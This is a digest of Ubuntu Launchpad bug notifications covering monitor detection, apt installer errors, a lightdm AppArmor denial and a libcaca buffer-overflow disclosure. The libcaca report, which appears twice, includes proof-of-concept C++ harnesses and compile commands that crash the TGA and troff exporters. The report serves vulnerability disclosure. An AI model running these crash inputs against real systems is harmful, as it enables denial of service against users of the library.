[Touch-packages] [Bug 1923333] Re: Benq G610HDA not being detected
Thank you for taking the time to report this bug and helping to make Ubuntu better. Bug reporting is mostly about finding & fixing problems thus preventing future users from hitting the same bug. I suspect a Support site would be more appropriate, eg. https://answers.launchpad.net/ubuntu. You can also find help with your problem in the support forum of your local Ubuntu community http://loco.ubuntu.com/ or asking at https://askubuntu.com or https://ubuntuforums.org, or for more support options please look at https://discourse.ubuntu.com/t/community-support/709 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/192 Title: Benq G610HDA not being detected Status in xorg package in Ubuntu: New Bug description: My monitor Benq G610HDA is not being detected by Ubuntu. Good VGI Cable, still Unknown display ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..04.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:04:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.39 Thu Jan 21 21:54:06 UTC 2021 GCC version: gcc version 10.2.0 (Ubuntu 10.2.0-5ubuntu1~20.04) ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 13:13:18 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu DkmsStatus: nvidia, 460.39, 5.8.0-45-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) nvidia, 460.39, 5.8.0-48-generic, x86_64: installed v4l2loopback, 0.12.3, 5.8.0-45-generic, x86_64: installed v4l2loopback, 0.12.3, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. HD Graphics 5500 [1043:1a7d] Subsystem: ASUSTeK Computer Inc. GM108M [GeForce 940M] [1043:1a7d] InstallationDate: Installed on 2021-02-08 (61 days ago) InstallationMedia: Ubuntu 20.04.2 LTS "Focal Fossa" - Release amd64 (20210204) MachineType: ASUSTeK COMPUTER INC. X455LB ProcEnviron: LANGUAGE=en_PH:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_PH.UTF-8 SHELL=/bin/zsh ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=def1bb03-4353-441e-b107-29aaf5b72e17 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/03/2015 dmi.bios.release: 5.6 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X455LB.205 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X455LB dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX455LB.205:bd08/03/2015:br5.6:svnASUSTeKCOMPUTERINC.:pnX455LB:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX455LB:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: X dmi.product.name: X455LB dmi.product.sku: ASUS-NotebookSKU dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/192/+subscriptions -- Mailing list:
[Touch-packages] [Bug 1923333] [NEW] Benq G610HDA not being detected
Public bug reported: My monitor Benq G610HDA is not being detected by Ubuntu. Good VGI Cable, still Unknown display ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..04.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:04:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.39 Thu Jan 21 21:54:06 UTC 2021 GCC version: gcc version 10.2.0 (Ubuntu 10.2.0-5ubuntu1~20.04) ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 13:13:18 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu DkmsStatus: nvidia, 460.39, 5.8.0-45-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) nvidia, 460.39, 5.8.0-48-generic, x86_64: installed v4l2loopback, 0.12.3, 5.8.0-45-generic, x86_64: installed v4l2loopback, 0.12.3, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. HD Graphics 5500 [1043:1a7d] Subsystem: ASUSTeK Computer Inc. GM108M [GeForce 940M] [1043:1a7d] InstallationDate: Installed on 2021-02-08 (61 days ago) InstallationMedia: Ubuntu 20.04.2 LTS "Focal Fossa" - Release amd64 (20210204) MachineType: ASUSTeK COMPUTER INC. X455LB ProcEnviron: LANGUAGE=en_PH:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_PH.UTF-8 SHELL=/bin/zsh ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=def1bb03-4353-441e-b107-29aaf5b72e17 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/03/2015 dmi.bios.release: 5.6 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X455LB.205 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X455LB dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX455LB.205:bd08/03/2015:br5.6:svnASUSTeKCOMPUTERINC.:pnX455LB:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX455LB:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: X dmi.product.name: X455LB dmi.product.sku: ASUS-NotebookSKU dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal resolution ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/192 Title: Benq G610HDA not being detected Status in xorg package in Ubuntu: New Bug description: My monitor Benq G610HDA is not being detected by Ubuntu. Good VGI Cable, still Unknown display ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..04.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:04:00.0' .proc.driver.nvidia.registry: Binary: ""
[Touch-packages] [Bug 1923332] [NEW] I don't know
Public bug reported: I don't know ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permiso denegado: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Apr 10 23:37:06 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu GraphicsCard: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [8086:0402] (rev 06) (prog-if 00 [VGA controller]) Subsystem: Lenovo Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [17aa:3686] InstallationDate: Installed on 2021-04-11 (0 days ago) InstallationMedia: Ubuntu 20.04.2.0 LTS "Focal Fossa" - Release amd64 (20210209.1) MachineType: LENOVO 10150 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=e17409f1-effa-44b2-97fb-f77630566ffd ro recovery nomodeset dis_ucode_ldr SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/22/2014 dmi.bios.release: 1.23 dmi.bios.vendor: LENOVO dmi.bios.version: INKT23AUS dmi.board.name: INVALID dmi.board.vendor: LENOVO dmi.board.version: 31900059 STD dmi.chassis.type: 13 dmi.chassis.vendor: LENOVO dmi.chassis.version: Bx40-LeTV dmi.ec.firmware.release: 1.23 dmi.modalias: dmi:bvnLENOVO:bvrINKT23AUS:bd04/22/2014:br1.23:efr1.23:svnLENOVO:pn10150:pvrLenovoC560:rvnLENOVO:rnINVALID:rvr31900059STD:cvnLENOVO:ct13:cvrBx40-LeTV: dmi.product.family: IdeaCentre dmi.product.name: 10150 dmi.product.sku: LENOVO_MT_1015 dmi.product.version: Lenovo C560 dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923332 Title: I don't know Status in xorg package in Ubuntu: New Bug description: I don't know ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permiso denegado: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Apr 10 23:37:06 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu GraphicsCard: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [8086:0402] (rev 06) (prog-if 00 [VGA controller]) Subsystem: Lenovo Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [17aa:3686] InstallationDate: Installed on 2021-04-11 (0 days ago) InstallationMedia: Ubuntu 20.04.2.0 LTS "Focal Fossa" - Release amd64 (20210209.1) MachineType: LENOVO 10150 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=e17409f1-effa-44b2-97fb-f77630566ffd ro recovery nomodeset dis_ucode_ldr SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/22/2014 dmi.bios.release: 1.23 dmi.bios.vendor: LENOVO dmi.bios.version: INKT23AUS dmi.board.name: INVALID dmi.board.vendor: LENOVO dmi.board.version: 31900059 STD dmi.chassis.type: 13 dmi.chassis.vendor: LENOVO dmi.chassis.version: Bx40-LeTV dmi.ec.firmware.release: 1.23 dmi.modalias: dmi:bvnLENOVO:bvrINKT23AUS:bd04/22/2014:br1.23:efr1.23:svnLENOVO:pn10150:pvrLenovoC560:rvnLENOVO:rnINVALID:rvr31900059STD:cvnLENOVO:ct13:cvrBx40-LeTV: dmi.product.family: IdeaCentre dmi.product.name: 10150 dmi.product.sku: LENOVO_MT_1015 dmi.product.version: Lenovo C560 dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel
[Touch-packages] [Bug 1923273] Re: libcaca buffer-overflow
Debian 10
libcaca0/now 0.9.beta19-2.1
Fedora 33
Name: libcaca
version : 0.99
Release :0.51.beta19.fc33
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libcaca in Ubuntu.
https://bugs.launchpad.net/bugs/1923273
Title:
libcaca buffer-overflow
Status in libcaca package in Ubuntu:
New
Bug description:
Hello Ubuntu Security Team
I use libfuzzer to test libcaca api .I found two crash
- https://github.com/cacalabs/libcaca/issues/53
- https://github.com/cacalabs/libcaca/issues/54
## Vendor of Product
https://github.com/cacalabs/libcaca
## Affected Product Code Base
libcaca e4968ba
## Affected Component
affected component:libcaca.so
## Affected source code file
affected source code file(As call stack):
->caca_export_canvas_to_memory() in
libcaca/caca/codec/export.c
->caca_export_memory()in
libcaca/caca/codec/export.c
-> export_tga()in
libcaca/caca/codec/export.c
-> export_troff() in
libcaca/caca/codec/export.c
## Attack Type
Context-dependent
## Impact Denial of Service
true
## Reference
https://github.com/cacalabs/libcaca
## Discoverer
fdgnneig
## Verification process and POC
### Verification steps：
1.Get the source code of libcaca:
2.Compile the libcaca.so library:
```shell
$ cd libcaca
$ apt-get install automake libtool pkg-config -y
$ ./bootstrap
$ ./configure
$ make
3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc
4.Run POC
POC.sh
```
cat << EOF > poc_troff.cc
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"troff",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
EOF
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o
poc_troff
cat << EOF > poc_tga.cc
#include "config.h"
#include "caca.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"tga",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
return 0;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
EOF
clang++ -g
[Touch-packages] [Bug 1923273] Re: libcaca buffer-overflow
source code
## Affected Product Code Base
libcaca, 0.99.beta20
Ubuntu 20.04
libcaca 0.99.beta19
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libcaca in Ubuntu.
https://bugs.launchpad.net/bugs/1923273
Title:
libcaca buffer-overflow
Status in libcaca package in Ubuntu:
New
Bug description:
Hello Ubuntu Security Team
I use libfuzzer to test libcaca api .I found two crash
- https://github.com/cacalabs/libcaca/issues/53
- https://github.com/cacalabs/libcaca/issues/54
## Vendor of Product
https://github.com/cacalabs/libcaca
## Affected Product Code Base
libcaca e4968ba
## Affected Component
affected component:libcaca.so
## Affected source code file
affected source code file(As call stack):
->caca_export_canvas_to_memory() in
libcaca/caca/codec/export.c
->caca_export_memory()in
libcaca/caca/codec/export.c
-> export_tga()in
libcaca/caca/codec/export.c
-> export_troff() in
libcaca/caca/codec/export.c
## Attack Type
Context-dependent
## Impact Denial of Service
true
## Reference
https://github.com/cacalabs/libcaca
## Discoverer
fdgnneig
## Verification process and POC
### Verification steps：
1.Get the source code of libcaca:
2.Compile the libcaca.so library:
```shell
$ cd libcaca
$ apt-get install automake libtool pkg-config -y
$ ./bootstrap
$ ./configure
$ make
3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc
4.Run POC
POC.sh
```
cat << EOF > poc_troff.cc
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"troff",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
EOF
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o
poc_troff
cat << EOF > poc_tga.cc
#include "config.h"
#include "caca.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"tga",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
return 0;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
EOF
clang++ -g poc_tga.cc -O2
[Touch-packages] [Bug 1871268] Re: Installation fails due to useless immediate configuration error when "Install Third-Party Drivers" is selected
** Changed in: ubuntu-cdimage Assignee: luigi di matola (gigetto76) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails due to useless immediate configuration error when "Install Third-Party Drivers" is selected Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: Fix Released Status in apt source package in Bionic: Fix Released Status in apt source package in Focal: Fix Released Status in apt source package in Groovy: Fix Released Status in apt package in Debian: Fix Released Bug description: [Impact] Installations that really succeeded would then fail because APT could not immediately configure a package. Which is a pointless way to fail at that point, because everything did work out anyway. We have two changes that help address this: * The first one stops immediately configuring multi-arch siblings (e.g. libc6:i386 when it's configuring libc6:amd64). This was not necessary, and caused all the libc6:i386 failures here. * The second change sort of also supersedes the first one: It just ignores any errors from immediate configuration, relying on the fact that it's checked and rectified at a later point if there are unconfigured packages (which is what made all those failures happen spuriously after having successfully installed everything). [Test case] We have one test case in EIPP format in the Debian bug 973305 which was only helped by the second change, not the first one. Run /usr/lib/apt/planners < eipp.log and check there are no errors. TODO: It's unclear if the APT from proposed installed in the live session will fix the installer, needs investigation, but would make a useful test case. [Regression potential] It's imaginable that we missed something somewhere and some path that checked for a set error doesn't check it anymore, and we report success when we hit an error, but it seems unlikely. Behavior of --simulate changes. This used to fail before as well, and will now only produce a warning. We don't believe that is a reason of concern. [Groovy SRU] The groovy SRU is a sync of the 2.1.11 micro release from Debian unstable which also incorporates changes to the documentation: A typo fix, replacing focal with groovy in examples, and minor Dutch manual pages translation updates. We do not have test cases for the documentation changes, and we do not consider there to be a huge regression potential. As long as they build, they should be readable - maybe some words are wrong in the translation, who knows. [Original bug report] Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for
[Touch-packages] [Bug 1921655] Re: lightdm-guest-session ICEauthority error
Build failures resolved, and I have uploaded a fix to the hirsute queue
to start with.
** Also affects: lightdm (Ubuntu Focal)
Importance: Undecided
Status: New
** Also affects: lightdm (Ubuntu Hirsute)
Importance: Medium
Status: Triaged
** Also affects: lightdm (Ubuntu Groovy)
Importance: Undecided
Status: New
** Changed in: lightdm (Ubuntu Hirsute)
Status: Triaged => Fix Committed
** Changed in: lightdm (Ubuntu Hirsute)
Assignee: (unassigned) => Gunnar Hjalmarsson (gunnarhj)
** Changed in: lightdm (Ubuntu Groovy)
Importance: Undecided => Medium
** Changed in: lightdm (Ubuntu Groovy)
Status: New => Triaged
** Changed in: lightdm (Ubuntu Groovy)
Assignee: (unassigned) => Gunnar Hjalmarsson (gunnarhj)
** Changed in: lightdm (Ubuntu Focal)
Importance: Undecided => Medium
** Changed in: lightdm (Ubuntu Focal)
Status: New => Triaged
** Changed in: lightdm (Ubuntu Focal)
Assignee: (unassigned) => Gunnar Hjalmarsson (gunnarhj)
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1921655
Title:
lightdm-guest-session ICEauthority error
Status in Ubuntu MATE:
New
Status in lightdm package in Ubuntu:
Fix Committed
Status in lightdm source package in Focal:
Triaged
Status in lightdm source package in Groovy:
Triaged
Status in lightdm source package in Hirsute:
Fix Committed
Bug description:
Hello I ran into trouble to start the lightdm-guest-session in linux
mint (cinnamon).
## How to reproduce:
- boot linux mint (20.02) or ubuntu mate (20.04) I haven't tested other
distros but I think others are also affected.
- enable guest user session
- try to login as guest user
## Error logs:
### Error Message:
` Could not update file ICEauthority file /run/user/XXX/ICEauthority`
### aa-notify:
```
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/uid_map
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/setgroups
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/gid_map
Denied: w
Logfile: /var/log/kern.log
